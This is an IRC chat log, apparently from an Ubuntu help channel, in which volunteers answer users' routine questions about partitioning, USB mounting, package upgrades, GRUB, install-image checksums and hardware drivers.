[13:14] <Rev> hats ur problem nitin?
[13:14] <nitin>  i have a problem, when i connect my laptop(dell 1420) to crt monitor it works, but when i connect it to projector it doesnt y?
[13:16] <JonnyWilko> any more thoughts ActionParsnip?
[13:16] <ActionParsnip> JonnyWilko: let me websearch
[13:16] <nitin> any ideas?
[13:16] <JonnyWilko> ok
[13:19] <Rev> nitin, no idea sorry :/ have u precised the video card and laptop model?
[13:19] <Rev> have u websearched ur problem
[13:20] <nitin> my video card is intel x3100 and laptop model is dell 1420
[13:20] <JonnyWilko> ok would the command sudo cfdisk d /dev/sda5 allow me to delete that partition?
[13:21] <ActionParsnip> JonnyWilko: ive only used cfdisk et al interactively
[13:21] <ActionParsnip> JonnyWilko: if that does it then great
[13:21] <ActionParsnip> JonnyWilko: you'll need sudo
[13:22] <icarus-c> what is the default password of the accounts : ubuntu and root, of the livecd
[13:22] <nitin> yeah i have
[13:22] <Rev> no idea nitin, sorry, post something on ubuntu forums, u should get some support
[13:22] <JonnyWilko> but would that command do it?
[13:22] <erUSUL> icarus-c: no root and use empty password for sudo
[13:22] <nitin> cool will do that
[13:23] <belendax> where is trash folder ? is it in / partition ?
[13:23] <morphir> I was wondering if ubuntu got build scripts, like archlinux?
[13:24] <erUSUL> !trash | belendax
[13:24] <JonnyWilko> /dev/sda4           15555       30402   119259840+   f  W95 Ext'd (LBA)

[13:25] <Ileden> How do I start File Browser with root right?
[13:25] <ActionParsnip> JonnyWilko: does gparted let you delete the partition?
[13:25] <Ileden> (right = rights)
[13:25] <ActionParsnip> Ileden: gksu nautilus
[13:26] <ActionParsnip> Ileden: use it as little as possible
[13:26] <JonnyWilko> no thats greyed out
[13:26] <`EJ> \\'elcome ßack bigfuzzyjesus
[13:26] <Ileden> ActionParsnip: thanks! Only using it to try if I can automount my usb device with root access.
[13:27] <icarus-c> erUSUL: what is the default user account password then? password for 'ubuntu'
[13:27] <JonnyWilko> should I therefore try deleting it while using the live cd?
[13:27] <ActionParsnip> Ileden: then root will own the files you write
[13:28] <Ileden> ... but apparently I cannot access "Computer" (where the USB device is displayed) with root access... ("Couldn't display computer")
[13:28] <ActionParsnip> JonnyWilko: you could try it
[13:28] <JonnyWilko> ok I'll try that
[13:28] <JonnyWilko> probs should backup everything first
[13:29] <Ileden> ActionParsnip: well it's a usb mp3 player, so it probably has fat32 or somesuch
[13:29] <achadwick> icarus-c: starred out (=not accessible by password) for the livecd, I should imagine.
[13:29] <ActionParsnip> Ileden: you can find out with sudo fdisk -l
[13:30] <Ileden> ActionParsnip: Thanks. it's FAT16. (small device)

[13:31] <Masd> How can i play Wow in Ubuntu 8.04?
[13:31] <jussi01> !wow

[13:31] <Ileden> ActionParsnip: I can mount it manually at coomandline to a desired directory, but the automount doesn't work...
[13:32] <Masd> Can i give ubuntu more space than i selected when i installed it? I used wubi
[13:32] <ActionParsnip> Ileden: is it in /etc/fstab?
[13:33] <ActionParsnip> !wubi | Masd
[13:33] <Ileden> ActionParsnip: no. but since it's an external usb drive, it shoudln't be there anyways, if I'm correct.
[13:34] <Masd> ActionParsnip: Cant you answer my question instead of giving information about wubi?
[13:34] <Ileden> Masd: Isn't giving information the same as answering your question?
[13:35] <xnv> What's the way to take a screenshot of just one window?
[13:35] <ActionParsnip> Ileden: id add it to fstab
[13:35] <Ileden> Masd: that is, if the information given answers your question
[13:35] <ActionParsnip> Masd: ive not used it but id assume the wiki would say how
[13:35] <arvind_khadri> !screenshot | xnv
[13:35] <ActionParsnip> Masd: as part of the install
[13:35] <unop> xnv, one tool you could use is import from the imagemagick suite
[13:35]  * ActionParsnip loves imagmagick
[13:36] <xnv> arvind_khadri: That wasn't my question.
[13:36] <SilentKill> #ia
[13:36] <xnv> arvind_khadri: Well, it sort of was, but I believe there is a way to do it without loading another program.
[13:37] <arvind_khadri> xnv, [PrtScr] button does that
[13:37] <darjeeling> how can I install 32bit library in 64bit ubuntu? with apt-get
[13:37] <Ileden> ActionParsnip: Well I'll try... but won't the same problem appear with other USB devices?
[13:37] <mysterycool> Hey
[13:37] <unop> xnv, you need to use another program to take a screenshot
[13:38] <mysterycool> How can I convert ogg files into .mp3?
[13:38] <xnv> arvind_khadri: No, it doesn't... but you're close.
[13:38] <xnv> unop: Nope, not true either. It's Alt + Print Screen
[13:38] <yma> hi
[13:38] <alexander> is there a channel for open office support, regarding open office on linux.?
[13:38] <poypoy> is there a way to send free online fax
[13:38] <arvind_khadri> darjeeling, why do you want to?
[13:38] <unop> xnv, and that launches gnome-screenshot ..
[13:38] <darjeeling> how can I install 32bit library in 64bit ubuntu? with apt-get? plz?

[13:39] <ActionParsnip> Ileden: i guess, has the stick yu are using been in a windows box?
[13:39] <Ileden> mysterycool: Try Grip audio ripper (http://ubuntuforums.org/showthread.php?t=148103)
[13:39] <Ileden> ActionParsnip: yes
[13:39] <arvind_khadri> yma, try #wine
[13:39] <yma> hi arvind thx
[13:40] <ActionParsnip> Ileden: did you remove it with the saftely remvie hardware or did you just rip it out?
[13:40] <mysterycool> Ileden: Thank you :) :D =]
[13:40] <alexander> thanks mystercool, but i do already have it pre installed. the problem is that i need a spell corrector with a norwegian word libary. i remember installing wordlibaries on open office in windows, but want to do it in linux now
[13:40] <xnv> unop: Err... OK, yes, well, if you want to be technical about it, you can't do anything without loading a program, since if you talk about it that way, any abstract segmentation of instruction memory can be called a "program"
[13:40] <Ileden> ActionParsnip: I think I've safely removed it.
[13:40] <ActionParsnip> Ileden: id go reinsert it and safetly remove it'
[13:40] <Ileden> ActionParsnip: anyways it works with windows
[13:41] <ActionParsnip> Ileden: just to make sure
[13:41] <mrNotYou> alexander, I believe you can get further help in the support channel of the Open Office IRC server :)
[13:41] <Ileden> ActionParsnip: I have since then mounted it manually with sudo mount, written data on it, unmounted it, all with success.
[13:41] <ActionParsnip> Ileden: fair point
[13:42] <unop> xnv, I don't need this info.
[13:42] <modoc> What command will give me a list of known drives/partitions on a system?
[13:42] <alexander> thank you, but could you maybe refer to a site or give me the server and channel pls, i know i should google for it, but have to ask:)....

[13:42] <Masd> Do i want to rezise Home or root? I just want more space available for wubi?
[13:42] <ActionParsnip> Ileden: the fact that others automount is good
[13:42] <unop> modoc, fdisk -l  or parted -l
[13:42] <Ileden> ActionParsnip: how do I identify that particular stick?
[13:43] <ActionParsnip> Ileden: sudo fdisk -l

[13:53] <unop> mrwhippy, so what DNS suffix do the clients get?
[13:53] <Ileden> ActionParsnip: hmm... "couldn't find package automount"
[13:54] <mrwhippy> unop connection specific suffix is swintonit.local which is correct
[13:54] <ActionParsnip> Ileden: try tab completing the packagename
[13:54] <kupesoft> is there something similar to iDisk for Ubuntu?
[13:54] <kupesoft> (I can host my own server-side assets)
[13:55] <Ileden> ActionParsnip: doesn't exist. Closest is "automake"
[13:55] <unop> mrwhippy, ok, use nslookup on the client and try and resolve the server by name. both forms - server and server.swintonit.local
[13:55] <ActionParsnip> Ileden: bah
[13:55] <unop> mrwhippy, assuming server.swintonit.local is indeed the FQDN of the server

[14:06] <omar> how can I update PATH environment var ?
[14:06] <dusty_> unimatrix9, what is guest additions ?
[14:06] <unop> mrwhippy, rndc is the tool to remotely control bind.

[14:06] <mrwhippy> unop, you read my mind, thanks

[14:07] <unop> mrwhippy, indeed

[14:07] <ActionParsnip> Ileden: indeed
[14:07] <Ileden> ActionParsnip: however, is there a way to make them write-accessible for all users, not just root?
[14:07] <dusty_> unimatrix9, how do I do that ?
[14:07] <mrNotYou> c0mp13371331337: Well, I believe that those settings u had were set to follow Compiz And Emerald. Also, please do change ur nick, it's too long to type everytime to support you :)

[14:10] <Brandon__> unop, it updates the time when I run it
[14:10] <seller> any one who want to buy iphone or nokia pm me pls...
[14:11] <mrNotYou> !offtopic | seller
[14:11] <unop> Brandon__, that doesn't necessarily indicate a cronjob will update the time - which is why you log the command, if errors are encountered, they will be logged.
[14:11] <mrNotYou> !offtopic | will-this-work

[14:26] <isakuiki> I use Dell Latitude c400 laptop with japanese keyboard
[14:26] <isakuiki> but some keys can not output
[14:26] <zendo> Anyone?
[14:26] <young98>  I prefer mIRC rather than xchat :p
[14:26] <isakuiki> I can not type underscore
[14:27] <isakuiki> is there any hints?
[14:27] <isakuiki> --
[14:27] <Znow> how do I change the language in transmission?
[14:27] <ripper098> hi everyone
[14:28] <ActionParsnip> young98: im sure linux orc clients can do stuff mirc does
[14:28] <davidN1> hi everyone
[14:28] <timothias> I like irssi
[14:28] <timothias> short, sweet and to the point. :D
[14:28] <ActionParsnip> young98: bitchx does scripts if that what you want
[14:28] <Pici> young98: If you *need* mirc, then yes, you can install it in Wine.
[14:28] <ActionParsnip> young98: doesnt the register nag annoy you
[14:29] <dgfssdfssgsdg> young98, yes, wine will run mirc
[14:29] <dgfssdfssgsdg> you, also vmware is an option
[14:29] <ActionParsnip> young98: http://forum.winehq.org/viewtopic.php?t=2249&sid=b68e647e4f5f3c3d70904a32b5347c3c

[14:30] <maynards-girl> how are biostar motherboards with ubuntu?
[14:30] <timothias> maynards-girl: use a Live CD to see.
[14:31] <maynards-girl> timothias, i would i had the motherboard. i'm thinking about buying it
[14:31] <G14N14RI12> Hello
[14:31] <timothias> ahh.
[14:31] <timothias> maynards-girl: what chipset?
[14:31] <ripper098> does any one know how many xorg.conf  files i should have in my /etc/X11/ folder b/c i think i have way to many i have like 8
[14:31] <ActionParsnip> young98: what aspect of mirc do you particularly need?
[14:31] <maynards-girl> timothias: North Bridge  	NVIDIA nForce 750a SLI
[14:32] <ActionParsnip> ripper du -h /etc/X11
[14:32] <ActionParsnip> ripper098: i bet its < 1mb
[14:32] <timothias> maynards-girl: Ive had good luck with ubuntu/fedora on nvidia boards.
[14:32] <young98>  no i just asked if mIRC works on wine
[14:32] <timothias> maynards-girl: Intel chipsets normally seem to work best.
[14:32] <ActionParsnip> young98: it does but native apps are more stable
[14:33] <ActionParsnip> young98: and free from nags
[14:33] <ActionParsnip> timothias: maynards-girl +1 for nvidia
[14:33] <maynards-girl> timothias, ah, that's the next thing i was going to ask. it's an amd phenom  quad-core processor
[14:33] <ripper098> ActionParsnip: i bet you are right that it is less then 1mb but does having more then one mess up the X11 config??
[14:33] <MinUser> hi all! can anybody tell me, which filename I must to use for my server (Core2Duo) ubuntu-8.04-server-amd64.iso OR ubuntu-8.04-server-i386.iso
[14:33] <timothias> ActionParsnip: I dont understand what you are saying.
[14:34] <ActionParsnip> ripper098: no as it reads the xorg.conf file only
[14:34] <ActionParsnip> timothias: i was agreeing with nvidia chipset touting :D
[14:35] <skurakai> hi. how to power-off my webcam on ubuntu? if i power-off my PC on Ubuntu webcam dioda still active. Windows shutdown this without problem.
[14:35] <timothias> maynards-girl: Not much else I can tell you from my experience, I trust you've searches the forums for your motherboard model?
[14:35] <chilli_> hello
[14:35] <maynards-girl> timothias, but i will now
[14:35] <chilli_> can anyone help me with starting to program?
[14:35] <timothias> maynards-girl: got the url?
[14:35] <magnetron> !hi | chilli_
[14:35] <maynards-girl> *nope, but i will now
[14:35] <ripper098> ActionParsnip: ok well that config doesnt have the right video cards settings but some off the other do// what should i do??
[14:35] <GamingX> How do an install of ubuntu in such a way that it boots up directly from the terminal.
[14:35] <GamingX> ?
[14:36] <ActionParsnip> !startup | chilli_
[14:36] <maynards-girl> timothias, url to the motherboard and processor?
[14:36] <MrKennie> skurakai: the driver probably handles that in windows that same as it might in Linux but obviously that is the difference.
[14:36] <timothias> maynards-girl: to the ubuntu forums
[14:36] <maynards-girl> timothias, yes thank u
[14:36] <ActionParsnip> GamingX: do you have to manually type startx to get a logini
[14:36] <chilli_> i mean like i want to program
[14:36] <chilli_> and im nobie
[14:36] <chilli_> lolz
[14:36] <MinUser> Core 2 Duo it's i386 or amd64 architecture ?
[14:36] <ActionParsnip> chilli_: thats what the guide is for, its for noobies
[14:36] <chilli_> i dont know what laguage to learn
[14:36] <timothias> MinUser: both.
[14:37] <Pici> chilli_: Lets discuss this in #ubuntu-offtopic, its not really on-topic for #ubuntu
[14:37] <GamingX> ActionParsnip: I still haven't installed it yet. Right now copying the alternate CD to a disc.
[14:37] <timothias> MinUser: in a simplified answer, they can run both instruction sets.
[14:37] <chilli_> k
[14:37] <GamingX> But I want it to directly start up in the shell.
[14:37] <ActionParsnip> ripper098: leave them, if your display works then dont sweat it
[14:37] <ActionParsnip> GamingX: why arent you using the desktop?
[14:38] <ripper098> ihave in the /etc/X11 file xorg.conf    xorg.conf.1    xorg.conf.2     xorg.conf.20080909002907        and some more
[14:38] <MinUser> timothias: thank you, but kernel will be multiprocessors ?
[14:38] <GamingX> ActionParsnip: I feel I can learn the shell better that way.
[14:38] <ActionParsnip> GamingX: then set your system to boot to runlevel 3
[14:38] <G14N14RI12> Which version of Ubuntu should I have for setting up fakeRAID? I thought it was the AMD64 alternate install, but that doesn't seem to be working.
[14:38] <ripper098> yea i guess yur right
[14:38] <ActionParsnip> !raid | G14N14RI12
[14:38] <GamingX> ActionParsnip?
[14:39] <timothias> MinUser: Yes, a current kernel will show all cpu's, barring some funkiness in your setup.
[14:39] <ActionParsnip> GamingX: that will boot to single user runlevel with no x server
[14:39] <ActionParsnip> GamingX: id just install a desktop and use terminal / konsole for daily activities
[14:40] <ripper098> hey does anyone know if automatrix is still being used???
[14:40] <G14N14RI12> *sigh* The first link the bot gave me doesn't work and I already have the last open and it doesn't help.
[14:40] <planl0s>  Hi Guys i have a prob and i think it is related to hardware, but im not quite sure. I took apart my computer and tried to build a case for it but it didnt work as I thought. So i build it together again. i have a dualboot, ubuntu takes quite longer to boot and windows doesnt boot at all. Any ideas what the problem is? ctrl + alt + f1 while booting gives me this: http://pastebin.ca/1198159
[14:40] <MinUser> timothias: so, I can download and try to install any file (i386 or amd64) it will work on my hard ?
[14:41] <GamingX> ActionParsnip: How do I set it to single run user level?
[14:41] <GamingX> ActionParsnip: What does it do?
[14:41] <ActionParsnip> G14N14RI12: https://help.ubuntu.com/community/FakeRaidHowto
[14:41] <XB23> anyone know if there is a way of calling a script passing the username everytime a user logs in via ssh so i can make my own log script?
[14:41] <grimrider> GamingX:  i believe its sudo telinit 3, at least thats wut it is for slack
[14:42] <ActionParsnip> GamingX: its a grub setting, it just doesnt run an xserver
[14:42] <MinUser> timothias: but it will be 64bit kernel ? or 32bit ?
[14:42] <pvh_sa|wrk> XB23, possibly hook something into sshd's pam setup?
[14:42] <GamingX> I'll get back right after installing Ubuntu.
[14:42] <XB23> any idea where id do that pvh_sa|wrk
[14:42] <G14N14RI12> ActionParsnip, I already have that page open. I can't follow the instructions to install dmraid.
[14:43] <skurakai> MrKennie: is possible stop this driver?
[14:44] <MrKennie> skurakai: during shutdown or completly?
[14:46] <fmello> hello world
[14:46] <fmello> :P
[14:46] <skurakai> during shutdown better
[14:46] <fmello> i have problem's with shutdow in my ubuntu
[14:46] <fmello> anyone can solve my problem? h0h0
[14:46] <`Matir> fmello, what is the problem?
[14:46] <ActionParsnip> G14N14RI12: what errors do you get?
[14:47] <fmello> `Matir, don't shutdown, only halt in splash screen
[14:47] <MrKennie> skurakai: you can see what happens if you use the rmmod command and hook it up somewhere during shutdown but it's probably a driver thing.
[14:47] <fmello> `Matir, i use ''verbose'' mode, andthey say 'Power down'
[14:47] <fmello> `Matir, but my notebook continues with power on
[14:47] <ActionParsnip> G14N14RI12: sudo apt-get install dmraid
[14:49] <G14N14RI12> ActionParsnip, I literally cannot follow the instructions. I don't seem to be able to boot into Ubuntu from the CD.
[14:49] <bullgard4> How can I make Ctrl+Alt+BckSp to restart my X server? I am using Ubuntu 8.04.1, gdm, MetaCity.
[14:49] <chilli_> #ubuntuofftopic
[14:49] <ActionParsnip> G14N14RI12: did you md5 check the image and the cd after burning?
[14:49] <ArchGh0ul> when is ibis supposed to be out? 9 october I assume?
[14:49] <chilli_> what is the offtiopic irc channel?
[14:50] <ActionParsnip> bullgardpress the keys, it will happen
[14:50] <G14N14RI12> ActionParsnip, yes. It said it was authentic.
[14:50] <chilli_> #pythoon
[14:50] <chilli_> #python
[14:50] <ActionParsnip> chilli_: its where people go to talk about anything
[14:50] <chilli_> what is the irc channel for it?
[14:50] <fmello> i had disabled acpi and apm
[14:50] <fmello> but it doesnt solve the problem
[14:51] <`Matir> fmello, is acpi working for you?
[14:51] <bullgard4> ActionParsnip: You are mistaken. It re-starts the whole computer.
[14:51] <fmello> `Matir, i think it doesnt
[14:51] <ActionParsnip> G14N14RI12: try noacpi and no dma, also you could try setting your system bios to failsafe
[14:52] <bullgard4> chilli_: #ubuntu-offtopic
[14:52] <ActionParsnip> bullgard4: so it reboots the system and it has to load ubuntu again, or do you just have to log in again?
[14:53] <`Matir> fmello, have the latest updates?
[14:53] <fmello> `Matir, yes!
[14:53] <fmello> `Matir, i have a microboard notebook
[14:53] <`Matir> fmello, ah, does gnome-power-manager work for you?
[14:53] <bullgard4> ActionParsnip: Yes, it reboots the operationg system including the BIOS.
[14:54] <fmello> `Matir, yes!
[14:54] <ActionParsnip> bullgard4: wow, id start looking through logs to see whats going on
[14:54] <ActionParsnip> bullgard4: ctrl+alt+bs isnt really advised, it can leak ram
[14:54] <TWP-SirStaal> sudo apt-get remove mplayer
[14:54] <TWP-SirStaal> E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. Someone know how I should get out of that mess? dpkg says it needs to be "manually run" but when I try to run it in the terminal it says you need "superpowers" to be able to do it.
[14:54] <`Matir> fmello, then acpi should be working for you.  does /var/log/messages contain anything interesting when you reboot?
[14:55] <fmello> `Matir, nothing interesting ...looks normal, but doesnt power off :/
[14:55] <Gnea> TWP-SirStaal: sudo dpkg --configure -a
[14:55] <`Matir> TWP-SirStaal, run 'sudo dpkg --configure -a' in a terminal.  Most likely an installation was interrupted.
[14:55] <KiDFlaSh> someone know a good, xorg.conf tutorial?
[14:55] <TWP-SirStaal> Yeahe how did you know? =P well thanks guys
[14:56] <bullgard4> ActionParsnip: The logs prove that the computer re-boots. --  What do you mean by 'to leak RAM'?
[14:56] <weboide> Hi, I need a little help for a chainloader with grub. with 2 ubuntu on 2 different disks. i get error 13. thanks!
[14:56] <ActionParsnip> bullgard4: when you kill an app, the ram its using is still maked as "in use" so when an application wants ram it cant use it
[14:57] <ActionParsnip> bullgard4: thihs allocated ram slowly builds up til you have none left
[14:57] <`Matir> fmello, try removing the splash option from the boot loader and see if it gives you an error next time you try to shutdown
[14:57] <fmello> I have error with APM only
[14:57] <`Matir> fmello, what sort of error?
[14:57] <ActionParsnip> bullgard4: old windows systems leaked ram like hell and some apps do too, closing the app rather than killing it is better
[14:58] <fmello> `Matir, doesnt find apm on bios
[14:58] <`Matir> ActionParsnip, the kernel should reclaim memory from killed processes... if it doesn't it's a major kernel bug.
[14:58] <`Matir> fmello, what kind of chipset does your motherboard use?  do you know?
[14:58] <KDB9000> Can someone help me with a little printing problem I have? I have a networked HP Laserjet 4100 but when I added it to the print list it won't print to it
[14:58] <cyix> Can anyone reccomend a decent X type nntp/usenet reader?
[14:58] <digital4rmy> server -m irc.undernet.org
[14:58] <bullgard4> ActionParsnip: So how do I close the X server?
[14:59] <fmello> `Matir, intel 945gm
[14:59] <ActionParsnip> `Matir: well my rig always seems slow after a ctrl+alt+bs, I can only report on what I have experienced
[14:59] <ActionParsnip> bullgard4: i always just reboot, but i dont restart my x server often (in fact never)
[15:00] <riccardo> ciao
[15:00] <shinya_> helo
[15:01] <weboide> I need a little help for a chainloader with grub. with 2 ubuntu on 2 different disks. i get error 13.
[15:01] <bullgard4> ActionParsnip: Thank you for commenting.
[15:01] <ActionParsnip> weboide: you dont chainload for linux, chainload is for windows
[15:02] <GamingX> I can't seem to install Ubuntu. I don't get the installation menu.
[15:02] <weboide> ActionParsnip: I thought you should have a chainload so that when grub gets updated you don't have problems
[15:02] <ActionParsnip> weboide: just add the extra install to menu.lst
[15:03] <savvas0> How can I list all the packages that can be upgraded? Something like sudo apt-get upgrade, but only the package names
[15:03] <GamingX> Instead the shell is loading for me with something like Busybox loaded etc.
[15:03] <ActionParsnip> weboide: id assume that was the deal, ive never had 2 linuxes on 1 system
[15:03] <oren_> >?
[15:03] <oren_> ?
[15:03] <weboide> ActionParsnip: okay ActionParsnip, ill try that : )
[15:04] <Brandon__> When trying to ssh into a server i just redid I got "Offending key in /var/root/.ssh/known_hosts:1" I know I can just wipe the known_hosts but is there a way to know which key I need to erase in the file?
[15:05] <HymnToLife> Brandon__: the :1 means the key is on line 1 of the file
[15:05] <GamingX> ActionParsnip: You think you can help me?
[15:05] <shank> Couldn't get my nic to work yesturday with Ubuntu server on a Dell poweredge 2650, with a broadcom nic. It detected fine, link was up, but could not get outbound. Today I put in a new nic, a linksys, same exact issue...
[15:06] <ActionParsnip> GamingX: if it wont boot you got ram issues or the the cd is faulty. Did you try the noacpi and no dma options?
[15:07] <Brandon__> HymnToLife, thanks :)
[15:07] <GamingX> Oh. It boots right, I click the install ubuntu, it loads the kernel and the splash screen occurs and then a shell opens up instead of the install menu.
[15:08] <GamingX> It says something like Busybox version no...And something like <intrafims> or something like that. Not sure.
[15:08] <ActionParsnip> GamingX: and you got the alternative cd?
[15:08] <cyix> Can anyone reccomend a decent X type nntp/usenet reader?
[15:09] <GamingX> I've got both. But the ones I am using are the ones I received from Ubuntu.
[15:09] <chazco> Hi... Ubuntu doesnt support my rtl8187se wifi card. I can compile drivers that are online (not official) but they're very patchy. Anyone know if support is likely to be added for this card or will the laptop remain suitable for Windows only?
[15:09] <GamingX> I copied the alternate cd right, but I get an error. Seems that the image is not working.
[15:09] <GamingX> Any quick method to check the image from Windows itself?
[15:09] <ActionParsnip> GamingX: can you ping the web?
[15:09] <Pici> !verify | GamingX
[15:10] <ActionParsnip> GamingX: get the md5sum from a server
[15:10] <ActionParsnip> GamingX: and an md5sum checker
[15:10] <ActionParsnip> and check it
[15:10] <`Matir> chazco, support is likely to come at some point
[15:11] <chazco> Any idea of an ETA?
[15:11] <ActionParsnip> chazco: you could use ndiswrapper?
[15:11] <chazco> ActionParsnip - It doesnt work, tried it
[15:12] <_neko08__> Is there any nicer flash plugin without involving npviewer.bin in amd64?
[15:13] <leeping2008> Hi there, anyone here with experience using GaussView (the frontend to the GAUSSIAN program) on Ubuntu?  I'm having some trouble with the GUI displaying incorrectly and would like some help
[15:13] <`Matir> chazco, no idea, I'd check linuxwireless.org for progress on getting a driver in the kernel.
[15:14] <`Matir> chazco, if it's in wide circulation I'd imagine it's high on their priorities
[15:14] <Beryllium> um, how do I tell cron to use bash instead of sh?
[15:15] <limitedwisdom> Sorry for being a total newbie here - but I need to upgrade from apache 2.2.3 to 2.2.9 (and I don't use the GUI). Can anyone help me out? FWIW, I've backed up the sites-enabled and the sites-available directories...
[15:15] <GamingX> How long does it take to check the md5sum?
[15:15] <limitedwisdom> I've googled around and just can't find anything obvious
[15:15] <mitesh> i do not have cgi-bin in my /var/www/ folder. how do i get that?
[15:15] <leeping2008> limitedwisdom, 1) Is version 2.2.9 on the repositories, and if not, 2) does a .deb package file exist for apache 2.2.9?
[15:16] <limitedwisdom> leeping2008, wow, I'm not sure how to tell either of those. :s
[15:16] <`Matir> limitedwisdom, is there a feature in 2.2.9 you need?
[15:16] <mitesh> limitedwisdom: sudo apt-cache apache
[15:16] <`Matir> leeping2008, limitedwisdom: hardy repos contain 2.2.8
[15:17] <GamingX> I remember now, the installation redirects me to the <initfram> prompt.
[15:17] <mitesh> limitedwisdom: check whether  it shows for the one you are looking for
[15:17] <limitedwisdom> well - I'm troubleshooting a problem with Request Tracker. I upgraded it and have been having some problems with the Web site it produces. I wanted to upgrade apache just to ensure I'm running latest version...
[15:18] <capnhector> limitedwisdom, best place would be the apache website download the .deb and install that way
[15:18] <limitedwisdom> mitesh: it says "E: Invalid operation apache"
[15:18] <mitesh> limitedwisdom: its sudo apt-cache search apache
[15:18] <jeyaprabhuj> (clustering) If I have a multithread java / perl application and run the app in server node (master) ,will the threads be exceuted in the slave nodes
[15:18] <mitesh> limitedwisdom: try this one
[15:18] <leeping2008> limitedwisdom, do what capnhector says, download the .deb package for the latest version of Apache, and then type in: "sudo dpkg -i name_of_package.deb"
[15:19] <leeping2008> where you replace name_of_package by the actual name of the package ;)
[15:19] <`Matir> limitedwisdom, I'd recommend just making sure you do an 'apt-get update', then 'apt-get upgrade' (upgrade whole system) or 'apt-get install apache2' (just new apache2)
[15:19] <GamingX> md5sum: WARNING: 8 of 1590 listed files could not be read
[15:19] <GamingX> md5sum: WARNING: 1 of 1582 computed checksums did NOT match
[15:19] <`Matir> limitedwisdom, it'll only give you 2.2.8, but then you have a hardy supported version
[15:19] <limitedwisdom> matir - that's what I was wondering....how does "apt-get install xxx" work?
[15:19] <GamingX> I get the above errors while running the md5sum on the alternate CD image.
[15:20] <limitedwisdom> does it just get the latest supported version?
[15:20] <capnhector> limitedwisdom, it gets the latest version in the repository
[15:20] <limitedwisdom> and "apt-get upgrade" upgrades everything?
[15:20] <`Matir> limitedwisdom, gets the latest supported version as of the last 'apt-get update'
[15:20] <leeping2008> limitedwisdom, yes, it downloads the latest supported version from the repository, and then installs it with the "dpkg" program
[15:20] <`Matir> limitedwisdom, yes.
[15:20] <limitedwisdom> nice
[15:20] <limitedwisdom> I think that's what I want - I don't need to be bleeding edge
[15:20] <limitedwisdom> :)
[15:20] <limitedwisdom> just up to date
[15:20] <Finiras> can somebody tell me how to use subtitles with totem? dragging them into it doesn't work and i cant find any option
[15:20] <limitedwisdom> perfect...you guys rock!
[15:20] <limitedwisdom> thanks all
[15:20] <sysdoc> !Gparted
[15:21] <gp> i am facing issues with unbu /kubuntu on my laptop
[15:21] <soundray> GamingX: that means you should probably delete the image and download it again
[15:21] <gp> power drain in 45 min
[15:21] <gp> also it runs freaking hot
[15:21] <mitesh> Finiras: install mplayer it better with subtitles
[15:21] <GamingX> soundray: That was the alternate image, I have two copies from Ubuntu itself. They don't seem to install for me.
[15:21] <gp> does ubuntu has power issues ?
[15:22] <soundray> GamingX: yeah, you said, initramfs prompt. Have you got an unusual disk controller? RAID?
[15:22] <gp> does ubuntu has power managent issues ?
[15:22] <GamingX> How do I check that?
[15:22] <soundray> gp: not usually, but some laptops have ACPI issues
[15:22] <limitedwisdom> oh - one more thing - will that upgrade ubuntu itself? I'm just curious...I'm running 7.0.4 fiesty fawn - will that change the version of ubuntu?
[15:22] <tphgangster> can anyone tell me what too do when after i instaled ubuntu on a new partition on my mac and restart it says "No bootable device -- insert boot disk and press any key" ?
[15:22] <limitedwisdom> (apt-get upgrade)
[15:22] <gp> i am using sony vaio
[15:23] <soundray> GamingX: go to the BIOS setup and see if you have any RAID options enabled, and if so, disable them.
[15:23] <anirudh0> standard library have any container that can store generic objects?
[15:23] <GamingX> ok. I'll just restart
[15:23] <gp> does ubuntu has power issues ?
[15:23] <gp> power drain in 45 min
[15:23] <capnhector> @ limitedwisdom it will only upgrade the programs
[15:24] <gp> i am using sony vaio
[15:24] <gp> does ubuntu has power managent issues ?
[15:24] <soundray> gp: what was wrong with my reply?
[15:24] <soundray> gp: it's impolite to spam the channel with repetitions
[15:24] <Mc_abyss> it wasnt the one they wanted?
[15:25] <limitedwisdom> ok, then I'll ask a VERY difficult to answer question - do you guys typically upgrade to the latest stable versions? or is it just a matter of desired feature set?
[15:25] <capnhector> @ limitedwisdom it depends on what im doing most of the time im upgrading for security fixes in which case i take current -1
[15:25] <limitedwisdom> (to clarify - stable version of ubuntu)
[15:25] <tphgangster> hm :\
[15:27] <ceed^> Hi, I was trying to install a package downloaded with Firefox. I selected to open with GDebi (default) but when the download was complete I was told the program can be found. I do have it though, it opens if I click on the deb after download. How can I get Firefox to find the program? I'm on Hardy.
[15:27] <carandraug> limitedwisdom: I'm update curious to see what's new
[15:27] <soundray> limitedwisdom: I upgrade to the latest whenever possible, partly out of curiosity, partly because hardware support usually improves between releases.
[15:27] <soundray> carandraug: :)
[15:28] <ceed^> can = can't
[15:28] <GamingX> soundray: I checked the bios and no raid device was enabled.
[15:28] <sysdoc> Is there an up to date install howto for 8.04? The partition editor does not have a partition resize option.
[15:29] <capnhector> sysdoc  i use an external partition manager like gparted
[15:29] <carandraug> soundray: the porblem's when you're curious about the alpha version and that breaks your system
[15:29] <KiDFlaSh> do someone know a GOOD xorg.conf TUTORIAL?
[15:29] <capnhector> @ sysdoc then install my system
[15:29] <soundray> GamingX: okay, the next thing to try is a boot option. Early on in the boot process, does it pause at a boot: prompt?
[15:29] <carandraug> KiDFlaSh: man xorg.conf :p
[15:30] <sysdoc> capnhector: I'm up and in gparted, won't allow me to resize here either
[15:30] <GamingX> It didn't pause anywhere that I can think of.
[15:30] <capnhector> @ sysdoc i hate doing this but get hirens boot its got acronis and pm
[15:30] <soundray> KiDFlaSh: which Ubuntu version do you have?
[15:30] <KiDFlaSh> hardy heron
[15:30] <KiDFlaSh> 8.04
[15:31] <nikki> Hello!
[15:31] <wimpie> Hello all, I got a question about me Wireless I got a Packard Bell Easynote SJ51 and only me cable network works not the wireless, SO now I got a question can someone help me that knows alot about WiFi issues or who have experience in this prgress ? Thanks for your time, Wimpie
[15:31] <carandraug> ceed^: on the download window, right click on the file and select open containing folder
[15:31] <soundray> KiDFlaSh: when hardy came out, lots of xorg.conf tutorials became obsolete (or at least outdated). Have you tried configuring your graphics with gksudo displayconfig-gtk?
[15:31] <maek> in Intrepid you don't even need a xorg.conf file anymore
[15:32] <ceed^> I also have a question about partitioning. Can I use Acronis from Windows for shrinking of my Vista partition making my Linux partitions bigger without upsetting grub?
[15:32] <nikki> Anyone know of a good Ubuntu alternative to 'Tudumo' (a todo application)? I need at least the following features: Organising by categories, reminders, and tags.
[15:32] <soundray> wimpie: do you know the wireless chipset used in your machine?
